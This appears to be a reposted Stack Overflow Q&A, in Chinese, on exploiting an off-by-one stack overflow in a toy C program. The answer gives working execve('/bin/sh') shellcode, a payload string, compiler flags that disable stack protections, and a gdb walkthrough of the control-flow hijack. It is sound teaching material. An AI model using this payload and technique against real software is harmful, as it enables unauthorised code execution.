gpt4 book ai didi

c - 有效负载中的 Offbyone 缓冲区溢出 NULL 字节

转载 作者:太空狗 更新时间:2023-10-29 15:34:56 25 4
gpt4 key购买 nike

所以我在以下简单代码的帮助下尝试 Offbyone 缓冲区溢出

#include <string.h>

void cpy(char *x){
char buf[128]="";
strncat(buf,x,sizeof(buf));

}
int main(int argc, char **argv)
{

cpy(argv[1]);

}

因为这张图描述了一个 Offbyone 缓冲区溢出是如何工作的

enter image description here

取自:https://www.sans.org/reading-room/whitepapers/threats/buffer-overflows-dummies-481

这是main和cpy的反汇编 enter image description here

enter image description here

这是我使用的负载 enter image description here

内存转储

enter image description here

因此使用缓冲区,在 Cpy 堆栈帧中我将保存的 RBP 的最低有效字节 的值更改为00(因为实现了 Offbyone 溢出通过提供恰好 128 字节的输入 )

可以看到地址0x7fffffffe177存储了EBP,其值从0x7ffffffffe190变为0x7ffffffffe100

所以我继续前进,并在地址 0x7fffffffe10F 处设置了有效负载的起始地址 这也是 main 的返回地址这应该是 0xffffe110 0x00007fff 而不是 0xffffe110 0x90907fff 但由于我们不应该在有效载荷中有 00 我无法设置返回地址,因为它是一个 64 位地址是 8 字节长 0xfffffe110 0x00007fff

那么我们究竟应该如何获得返回地址呢?由于内存转储的图像,在断点 1 中,它的 cpy 函数框架为什么 argc 和 argv [] 在堆栈的顶部?我是 Exploit 编写的新手,非常感谢所有帮助。

最佳答案

因此,让我们从可用于设置所需返回地址值而不在有效负载中传递零字节的技巧开始。

我已经稍微更改了您的代码,以便更轻松地执行此操作。这是新代码:

#include <string.h>

int i;

void cpy(char *x) {
char buf[128];
for (i = 0; i <= 128; ++i) {
buf[i] = x[i];
}
}

int main(int argc, char **argv) {
cpy(argv[1]);
return 0;
}

主要区别在于现在我们可以控制保存的rbp 的低位字节的值。在您的示例中,我们只能将其设置为零。

这里是我们的cpy 函数的栈帧:

enter image description here

@rbp - 保存了 main 函数的基本堆栈指针

@rsp - cpy 函数开始处的堆栈指针(紧接在 push rbp 之后)

诀窍是我们以 @rbp = @rsp - 8 的方式覆盖最后一个字节。所以当我们从 main 函数返回时 $rbp 将等于 @rsp - 8 因此返回地址将是 之前的 8 个字节@rsp - 8@rsp - 8!

main 返回后,我们将跳转到 @rsp - 8。所以现在我们简单地将 jmp 放到这个地址的 shellcode 中,我们就完成了:

enter image description here

但是在你原来的例子中,这个技巧无法完成,因为我们无法控制 @rbp 的低位字节的值。

还应注意,如果 @rbp@rsp 的差异大于最后一个字节,则此技巧将不起作用。

最后是漏洞利用。

编译带有可执行堆栈且没有堆栈保护的代码:

$ gcc test.c -o test -z execstack -fno-stack-protector

获取我们的 jmp 到 shellcode 的字节码:

$ rasm2 -a x86 -b 64 'jmp -0x50'
ebae

利用gdb:

$ gdb --args test $(python -c 'print "\x90" * 91 + "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05" + "\xeb\xb8" + "a" * 6 + "\xc8"')

>>> b cpy
>>> b *cpy+90
>>> r
Breakpoint 1, 0x00000000004004aa in cpy ()

所以这里保存了rbp:

>>> x/1gx $rbp
0x7fffffffd3d0: 0x00007fffffffd3f0

这是 cpy 函数开头的 rsp:

>>> p/x $rsp
$1 = 0x7fffffffd3d0

cpy返回后我们想要得到的rbp的值(这就是为什么payload的最后一个字节是\xc8)

>>> p/x $rsp - 8
$2 = 0x7fffffffd3c8

继续cpy结束:

>>> c
Breakpoint 2, 0x0000000000400500 in cpy ()

cpy的汇编代码:

>>> disassemble cpy
Dump of assembler code for function cpy:
0x00000000004004a6 <+0>: push rbp
0x00000000004004a7 <+1>: mov rbp,rsp
0x00000000004004aa <+4>: sub rsp,0x10
0x00000000004004ae <+8>: mov QWORD PTR [rbp-0x88],rdi
0x00000000004004b5 <+15>: mov DWORD PTR [rip+0x20046d],0x0 # 0x60092c <i>
0x00000000004004bf <+25>: jmp 0x4004f2 <cpy+76>
0x00000000004004c1 <+27>: mov eax,DWORD PTR [rip+0x200465] # 0x60092c <i>
0x00000000004004c7 <+33>: mov edx,DWORD PTR [rip+0x20045f] # 0x60092c <i>
0x00000000004004cd <+39>: movsxd rcx,edx
0x00000000004004d0 <+42>: mov rdx,QWORD PTR [rbp-0x88]
0x00000000004004d7 <+49>: add rdx,rcx
0x00000000004004da <+52>: movzx edx,BYTE PTR [rdx]
0x00000000004004dd <+55>: cdqe
0x00000000004004df <+57>: mov BYTE PTR [rbp+rax*1-0x80],dl
0x00000000004004e3 <+61>: mov eax,DWORD PTR [rip+0x200443] # 0x60092c <i>
0x00000000004004e9 <+67>: add eax,0x1
0x00000000004004ec <+70>: mov DWORD PTR [rip+0x20043a],eax # 0x60092c <i>
0x00000000004004f2 <+76>: mov eax,DWORD PTR [rip+0x200434] # 0x60092c <i>
0x00000000004004f8 <+82>: cmp eax,0x80
0x00000000004004fd <+87>: jle 0x4004c1 <cpy+27>
0x00000000004004ff <+89>: nop
=> 0x0000000000400500 <+90>: leave
0x0000000000400501 <+91>: ret
End of assembler dump.

离开rbp的值(value):

>>> ni
>>> p/x $rbp
$1 = 0x7fffffffd3c8

执行到 main 结束:

>>> ni
>>> ni
>>> ni
>>> disassemble
Dump of assembler code for function main:
0x0000000000400502 <+0>: push rbp
0x0000000000400503 <+1>: mov rbp,rsp
0x0000000000400506 <+4>: sub rsp,0x10
0x000000000040050a <+8>: mov DWORD PTR [rbp-0x4],edi
0x000000000040050d <+11>: mov QWORD PTR [rbp-0x10],rsi
0x0000000000400511 <+15>: mov rax,QWORD PTR [rbp-0x10]
0x0000000000400515 <+19>: add rax,0x8
0x0000000000400519 <+23>: mov rax,QWORD PTR [rax]
0x000000000040051c <+26>: mov rdi,rax
0x000000000040051f <+29>: call 0x4004a6 <cpy>
0x0000000000400524 <+34>: mov eax,0x0
0x0000000000400529 <+39>: leave
=> 0x000000000040052a <+40>: ret
End of assembler dump.
>>> ni

现在我们在 @rsp - 8,这里是我们的 jmp 到 shellcode:

>>> disassemble $rip,+2
Dump of assembler code from 0x7fffffffd3c8 to 0x7fffffffd3ca:
=> 0x00007fffffffd3c8: jmp 0x7fffffffd382
End of assembler dump.

最后是 shellcode:

>>> ni
>>> disassemble $rip,+0x50
Dump of assembler code from 0x7fffffffd382 to 0x7fffffffd3d2:
=> 0x00007fffffffd382: nop
0x00007fffffffd383: nop
0x00007fffffffd384: nop
0x00007fffffffd385: nop
...
0x00007fffffffd3ab: xor rdi,rdi
0x00007fffffffd3ae: push rdi
0x00007fffffffd3af: push rdi
0x00007fffffffd3b0: pop rsi
0x00007fffffffd3b1: pop rdx
0x00007fffffffd3b2: movabs rdi,0x68732f6e69622f2f
0x00007fffffffd3bc: shr rdi,0x8
0x00007fffffffd3c0: push rdi
0x00007fffffffd3c1: push rsp
0x00007fffffffd3c2: pop rdi
0x00007fffffffd3c3: push 0x3b
0x00007fffffffd3c5: pop rax
0x00007fffffffd3c6: syscall

关于c - 有效负载中的 Offbyone 缓冲区溢出 NULL 字节,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/37739278/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com